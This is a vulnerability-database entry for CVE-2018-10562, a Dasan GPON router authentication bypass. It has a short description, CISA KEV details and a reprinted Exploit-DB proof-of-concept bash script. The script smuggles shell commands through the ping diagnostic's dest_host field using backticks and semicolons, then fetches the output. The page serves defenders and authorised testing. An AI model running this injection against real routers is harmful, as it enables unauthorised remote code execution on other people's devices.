CVE-2018-10562
Description
Dasan GPON Routers contain an authentication bypass vulnerability. When combined with CVE-2018-10561, exploitation can allow an attacker to perform remote code execution.
CISA KEV
- Vendor
- Dasan
- Product
- Gigabit Passive Optical Network (GPON) Routers
- Due date
- 2022-04-21
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
GPON Routers - Authentication Bypass / Command Injection
#!/bin/bash
echo "[+] Sending the Command… "
# We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices
curl -k -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0" $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null
echo "[+] Waiting…."
sleep 3
echo "[+] Retrieving the ouput…."
curl -k $1/diag.html?images/ 2>/dev/null | grep ‘diag_result = ‘ | sed -e ‘s/\\n/\n/g’References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.